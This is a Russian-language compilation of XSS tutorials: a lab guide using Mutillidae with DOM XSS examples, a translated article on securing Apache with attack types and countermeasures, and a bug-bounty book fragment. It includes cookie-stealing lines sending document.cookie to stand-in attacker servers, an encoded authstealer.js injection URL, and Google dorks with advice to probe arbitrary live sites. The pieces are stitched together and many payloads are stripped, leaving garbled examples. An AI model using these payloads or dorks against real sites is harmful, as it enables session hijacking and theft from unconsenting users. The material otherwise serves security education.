Что такое xss атака. Пример атаки с непостоянным XSS

Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Если кто-то из пользователей ввёл:

То веб-страница отобразит:

Привет! Нравится твой сайт.

А если пользователь введёт так:

Привет! Нравится твой сайт.alert("Pwned")

То отобразиться это так:

Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

получает доступ к кукиз просматриваемого сайта
может вносить любые изменения во внешний вид страницы
получает доступ к буферу обмена
может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
подцеплять на BeEF
и др.

Простейший пример с кукиз:

alert(document.cookie)

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Виды XSS

Самое главное, что нужно понимать про виды XSS то, что они бывают:

Хранимые (Постоянные)
Отражённые (Непостоянные)

Пример постоянных:

Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

Пример непостоянных:

На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

DOM-модели

Особенности XSS основанных на DOM

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

Http://example.com/search.php?q="/>alert(1)

А при открытии исходного HTML кода мы видим что-то вроде такого:

alert(1)" /> Найти

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

сайт:::DOM XSS An error occurred... function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");"); if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

")

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

XSS Auditor

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :

2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").

2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

Мэлори имеет аккаунт на сайте Боба.

Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.

Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:

В этой истории мне так понравились собачки. Они такие славные!

Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.

Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Поиск сайтов уязвимых к XSS

Дорки для XSS

Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

inurl:search.php?q=
inurl:.php?q=
inurl:search.php
inurl:.php?search=

Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

Самые лучшие цели - это разнообразные самописные движки и скрипты.

В качестве полезной нагрузки для вставки можно выбрать

alert(1)

Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):

alert(1)

Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>

"/>alert(1)

Давайте попробуем её для какого-нибудь сайта:

Отлично, уязвимость имеется

Программы для поиска и сканирования XSS уязвимости

Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить.

Оригинал: Securing Apache, Part 2: XSS Injections
Автор: Arpit Bajpai
Дата публикации: 1 Сентября 2010 г.
Перевод: А.Панин
Дата перевода: 5 Января 2013 г.

В предыдущей статье серии мы начали обсуждение аспектов безопасной эксплуатации веб-сервера Apache с рассмотрения его архитектуры. После этого мы начали рассмотрение дефектов веб-приложений, начав с SQL-инъекций. В данной статье мы перейдем к рассмотрению следующей категории дефектов, связанных с инъекциями: межсайтового скриптинга, известного под аббревиатурой "XSS". Повторю свои слова о том, что ни я, ни журнал LFY не ставим своей целью научить читателей атаковать сервера; эта информация приводится с целью предоставления необходимых знаний для защиты инфраструктуры.

Уязвимости приложений к атакам на основе межсайтового скриптнга (XSS) удерживают вторую позицию в рейтинге десяти самых опасных рисков безопасности веб-приложений от консорциума OWASP, находясь после уязвимостей к атакам на основе SQL-инъекций. (Кстати, первая буква аббревиатуры "X" используется для того, чтобы не путать понятие межсайтового скриптинга с понятием таблиц каскадных стилей "CSS" .) Консорциум, занимающийся проблемами безопасности, сообщает о том, что доля уязвимостей XSS составляет около 39 процентов от всех уязвимостей веб-приложений.

Что понимается под межсайтовым скриптингом?

Консорциум OWASP определяет XSS как дефект, при котором приложение включает в состав страницы, отправляемой пользователю, переданные им данные без их предварительной проверки или форматирования. Атаки на основе XSS на самом деле являются атаками на основе инъекций кода, затрагивающими процесс интерпретации отправленной веб-приложением страницы в пользовательском браузере.

Эти атаки в большинстве случаев проводятся в рамках систем онлайн-сообщений, блогов и пользовательских конференций (в совокупности называемых "системами онлайн-сообщений" в статье), в которых сообщения хранятся на постоянной основе. При их создании используются технологии HTML, JavaScript, VBScript, ActiveX, Flash и другие технологии сценариев на стороне клиентов.

Целью атак на основе межсайтового скриптинга является похищение пользовательских аутентификационных данных из кук и любой другой важной информации, которая участвует в процессе аутентификации клиента на веб-сайте. С похищенным (действительным) идентификатором пользователя взломщик может представиться пользователем и похитить его данные.

В отличие от большинства атак, в которых участвуют две стороны (взломщик и веб-сайт или взломщик и жертва/клиент), атака на основе межсайтового скриптинга предполагает участие трех сторон: взломщика, жертвы/клиента и веб-сайта.

В ходе атаки на основе межсайтового скриптинга действительному пользователю предоставляется ссылка, расположенная в системе онлайн-сообщений и ведущая на безопасный на первый взгляд сайт, но на самом деле содержащая закодированный сценарий, который выполняется как только пользователь переходит по ней. Этот на первый взгляд безопасный веб-сайт может быть (и является в большинстве случаев) клоном просматриваемого пользователем сайта для осуществления фишинг-атаки; в этом случае он запросит имя пользователя и пароль. В другом случае этот веб-сайт может представлять собой страницу с благодарностью, с помощью которой производится незаметное похищение кук пользователя в фоновом режиме.

Фишинг является методом атаки в Интернет, при которой пользователь вводит важную информацию (такую, как имя и пароль)на созданном злоумышленником веб-сайте, который практически полностью копирует внешний вид веб-сайта, которому доверяет пользователь. Пользователь направляется на такие сайты по ссылкам из массово рассылаемых сообщений посредством электронной почты, системы мгновенных сообщений, и.т.д. Большинство таких атак может быть проигнорировано с помощью тщательной проверки ссылок и отказа перехода по сомнительным ссылкам; следует также проверять строку URL (адресную строку) браузера чтобы убедиться в том, что вы работаете с доверенным сайтом перед вводом идентификационных данных.

Принцип действия атак, основанных на межсайтовом скриптинге

Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.

Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с "подтверждением" или "выводом результатов" (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.

Следующая простейшая PHP-страница уязвима для XSS-атак!

Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку "Arpit Bajpai") в качестве аргумента, URL будет выглядеть следующим образом: http://localhost/hello.php?name=Arpit%20Bajpai (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.

Рисунок 1: Безопасная передача данных

Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: http://localhost/hello.php?name=Hacked .

Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.

Рисунок 2: Необработанный вывод

Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук. document.location="http://attackerserver/cookie.php?c="+document.cookie

Когда жертвы проходят по ссылке, содержащей этот вредоносный код, они перемещаются на домашнюю страницу, но данные из их кук передаются специальному сценарию на языке PHP, cookie.php , предназначенному для сборки кук и расположенному на сервере злоумышленника. Код стандартного сценария для сборки кук должен быть аналогичен представленному ниже:

В ходе работы этого сценария в файле cookies.html сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий cookie.php .

Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.

На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:

Когда жертва переходит по ссылке с приведенным кодом, расположенной в сообщении, не происходит ничего необычного - правда при этом данные из кук передаются сценарию cookie.php на сервере взломщика. Это принцип действия классических атак, основанных на межсайтовом скриптинге.

Типы XSS-уязвимостей

Большинство XSS-уязвимостей можно разделить на три категории на основании того, как взломщики обходят обработку вредоносного кода веб-приложением. Эти категории:

Постоянно существующие или хранимые уязвимости
Непостоянно существующие или отраженные уязвимости
Уязвимости модели DOM или локальные уязвимости

Давайте рассмотрим каждую категорию по очереди.

Постоянно существующие или хранимые уязвимости

Постоянно существующие XSS-уязвимости являются наиболее мощными и эффективными из всех. Они присутствуют в том случае, если данные, передаваемые веб-приложению пользователем вначале помещаются на постоянное хранение на сервере (в базу данных, файловую систему или другое хранилище), а затем выводятся пользователям в виде веб-страницы без должной обработки.

Сценарий атаки на систему онлайн-сообщений, приведенный ниже, является классическим примером подобной ситуации. Схема атаки, основанной на постоянно существующей уязвимости, показана на Рисунке 3.

Рисунок 3: Схема атаки с использованием постоянно существующей уязвимости

В начале атаки взломщик внедряет вредоносный сценарий с помощью веб-формы ввода данных. После этого внедренный код сохраняется в базе данных сервера. Когда любой пользователь открывает страницу, вредоносный код исполняется. Любой пользователь, который переходит по ссылке (или всего лишь просматривает сообщение в случае атаки с использованием тэга IFRAME) становится жертвой атаки, так как вредоносный код исполняется в его браузере и отправляет его аутентификационные данные взломщику.

Это тип атаки очень эффективен, так как взломщик может атаковать ряд пользователей сервера - всех тех, кто переходит по ссылке или просматривает сообщение.

Непостоянно существующие или отраженные уязвимости

Непостоянно существующие XSS-уязвимости являются на данный момент наиболее эксплуатируемыми. Этот тип XSS-уязвимостей чаще всего возникает из-за того, что сценарии в ходе генерации документов в формате HTML выводят пользовательские данные без дополнительной обработки.

Например, взломщик находит XSS-уязвимость в веб-приложении, заключающуюся в том, что сценарий выводит отправленный запрос вместе с результатом его выполнения. Обычно используемый URL сайта при осуществлении запроса выглядит следующим образом: http://www.example.com/search.php?query=products . В нормальных условиях в ответ на этот запрос выводится список доступных продуктов. Как только взломщики находят уязвимость, они могут отправить модифицированную ссылку (с измененными значениями известных переменных) жертве атаки, преследуя цель похищения аутентификационных данных: http://www.example.com/search.php?query=alert(document.cookie) .

Переход по этой ссылке приведет к выводу браузером жертвы атаки окна сообщения с данными из кук. Приведенный выше пример безопасен: взломщик может причинить гораздо больший ущерб, похитив пароли, изменив адрес домашней страницы или переместив жертву атаки на другой веб-сайт, используя модифицированный код JavaScript.

Схема атаки, основанной на отраженной уязвимости показана на Рисунке 4.

Рисунок 4: Пошаговая иллюстрация процесса атаки, основанной на отраженной уязвимости

В наши дни встраивание в код ссылки таких объемных сценариев может привлечь внимание потенциальных жертв атаки, поэтому взломщики просто преобразовывают их в шестнадцатеричный формат с помощью множества доступных конвертеров, таких, как представленный по ссылке http://code.cside.com/3rdpage/us/url/converter.html . Более того, если вредоносный сценарий достаточно велик, используются сервисы для сокращения длины URL, такие, как Tiny URL, после чего создается короткий URL, указывающий на длинный.

Уязвимости модели DOM или локальные уязвимости

Уязвимости модели DOM существуют в HTML-коде сайта (в статических сценариях) и могут эксплуатироваться непостоянно. В качестве простого примера уязвимости модели DOM можно привести статический сценарий, встроенный в страницу, который при исполнении использует функцию DOM, такую, как document.write для вывода значения переменной pos.

Единственным отличием уязвимости модели DOM от других типов является то, что сервер не возвращает результатов запроса; наоборот, происходит локальная обработка данных при помощи функций DOM и вредоносный сценарий исполняется с такими же правами, что и веб-браузер на машине жертвы атаки. Представьте ситуацию, при которой уязвимый сайт содержит следующую страницу (с названием, например, http://www.example.com/welcome.html): var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our site ...

В нормальных условиях на данной странице будет выведено приветствие для пользователя при переходе по следующему URL: http://www.example.com/welcome.html?name=Joe .

Однако, небольшое вмешательство в URL приводит к отображению данных из кук пользователя в окне предупреждения браузера в том случае, если он перейдет по следующей ссылке: http://www.example.com/welcome.html?name=alert(document.cookie) .

При открытии данной ссылки браузер пользователя отправляет HTTP-запрос сайту с именем www.example.com . В ответ он получает статическую HTML-страницу с представленным выше содержанием. После этого браузер жертвы начинает преобразование HTML в DOM. В данном случае код ссылается на переменную document.URL , поэтому часть строки запроса сохраняется при разборе HTML. После этого происходит исполнение в контексте страницы вредоносного JavaScript-кода, переданного в составе URL, что и позволяет провести XSS-атаку.

Вы должны понимать, что запрос в полном объеме достигает сервера (в строке HTTP-запроса), поэтому данный тип XSS-атаки, как и любой другой, может быть идентифицирован - но взломщики предусматривают даже эту возможность, формируя запрос в следующей форме: http://www.example.com/welcome.html#name=alert(document.cookie) .

Следует учитывать, что в этом случае используется символ решетки (#); с помощью него браузеру сообщается о том, что данные после этого символа являются фрагментом и не являются частью запроса. Браузеры IE (6.0) и Mozilla не отправляют фрагмент серверу, поэтому в случае использования данных браузеров сервер получит только следующую часть запроса: http://www.example.com/welcome.html , а остальные данные будут скрыты.

Тенденции в области XSS-атак

XSS -атаки с использованием мета-информации (miXSS)

Это новый тип XSS-уязвимостей, появившийся недавно и использующий уязвимости утилит для сетевого администрирования. Эту уязвимость можно обнаружить в коде серверов, использующих корректные пользовательские запросы для сбора данных и вывода их пользователю. Атаки на основе межсайтового скриптинга проводятся при использовании этих данных. При этом взломщики могут получить информацию о утилитах сетевого администрирования. Веб-сайты, которые позволяют провести разрешение DNS и веб-сайты, которые проверяют записи SPF наиболее подвержены miXSS-атакам. Для того, чтобы узнать больше данном типе атак, обратитесь к списку дополнительных ресурсов в конце статьи.

XSS Shell

XSS Shell является инструментом для установления XSS-канала между жертвой атаки и взломщиком, причем взломщик может управлять браузером при помощи команд. Обмен данными является двухсторонним.

XSS Tunnel

Это программа с открытым исходным кодом на.NET, распространяемая под лицензией GPL и являющаяся обычным HTTP-прокси, работающим в системе взломщика. Она позволяет передавать HTTP-трафик через туннель в виде XSS-канала и теоретически может использоваться вместе с любым приложением, работающим с HTTP-прокси.

DDoS-атаки при помощи XSS

Тенденции развития XSS-атак указывают на то, что взломщики используют уязвимые сайты в качестве начального шага при проведении распределенных атак отказа в обслуживании. Они предлагают пользователям скачать и установить дополнения для браузера. Когда пользователь переходит по ссылке, вместе с дополнением для браузера в его систему (в большинстве случаев) в фоновом режиме устанавливается вредоносное ПО в виде червя или бота. Это ПО может предоставить взломщику неограниченные права в пользовательской системе, поэтому взломщик может использовать систему для проведения атак отказа в обслуживании или для построения ботнета.

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Следует серьезно и тщательно рассматривать все сообщения электронной почты, содержащие длинные, объемные и подозрительные ссылки. Не стоит переходить по этим ссылкам, даже если они ведут на известные сайты, которым вы доверяете. Во многих подобных сообщениях применяются различные хитрости для того, чтобы убедить вас пройти по ссылке. В некоторых сообщениях содержатся предложения об улучшении вашего материального состояния и независимости; другие сообщения содержат предупреждения о том, что вы можете потерять свою учетную запись (действительную) на веб-сайте, если "немедленно не подтвердите информацию о вашем имени пользователя и пароле". Серьезно подумайте перед переходом по таким ссылкам, особенно с учетом той информации, которую вы почерпнули из данной статьи. Очевидно, что точно такие же меры предосторожности следует предпринимать по отношению к сообщениям в системах онлайн-сообщений и социальных сетях.

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы < и > (в последовательности %3C и %3E соответственно) в параметре document.URL в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если у вас появилась сомнительная ссылка и вы хотите перейти по ней, при этом не используя браузер Firefox с расширением NoScript, вам необходимо отключить JavaScript, Java (и Active X если вы работаете в ОС Windows) перед переходом. Также вы можете перейти по ссылке, вручную вписав ее в адресную строку браузера.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения "ненадежных" сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам. Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является Nikto .

Следующим важным действием является фильтрация всех подозрительных данных, основанная на HTML-контексте (body, attribute, JavaScript, CSS или URL), в котором они будут размещены. Разработчикам следует организовать данную функцию в своих приложениях. Обратитесь к шпаргалке по предотвращению XSS-атак от OWASP для получения подробной информации о техниках фильтрации данных.

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства document.cookie , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Инструменты

Dotdefender является инструментом для защиты веб-приложений, блокирующим атаки, выражающиеся в модификации логики HTTP-запросов. Он превосходно защищает от атак на основе SQL-инъекций, межсайтового скриптинга и вмешательства в заголовки. Обратитесь к документации, расположенной .
KeepNI немедленно оповещает вас в случае некорректной работы вашего веб-сайта. Данный инструмент рассчитан на постоянную корректную работу вашего веб-сайта. Обратитесь к документации, расположенной .
Экраны для веб-приложений позволяют проводить проверки на наличие вводимых некорректных данных и модификации параметров, предназначенных только для чтения, а так же блокируют запросы и осуществляют фильтрацию параметров. Их самым большим достоинством является то, что они позволяют защитить устаревшие небезопасные приложения.

Поскольку XSS-атаки требуют участия пользователя, их количество напрямую зависит от крайней внимательности пользователей. Для получения более подробной информации о XSS-атаках и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов ниже. Мы рассотрим другие опасные типы атак на веб-приложения и Apache в следующей статье. Между тем, вы можете оставить ваши вопросы и конструктивную критику в разделе комментариев ниже.

Всегда помните: нужно знать все о взломе, не не заниматься им.

Дополнительные ресурсы:

Один из лучших ресурсов с информацией о XSS-атаках xssed.com
Книга "Syngress XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert "Rsnake" Hansen and others", обязательна для чтения тем, кто действительно заинтересовался данным типом атак

Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
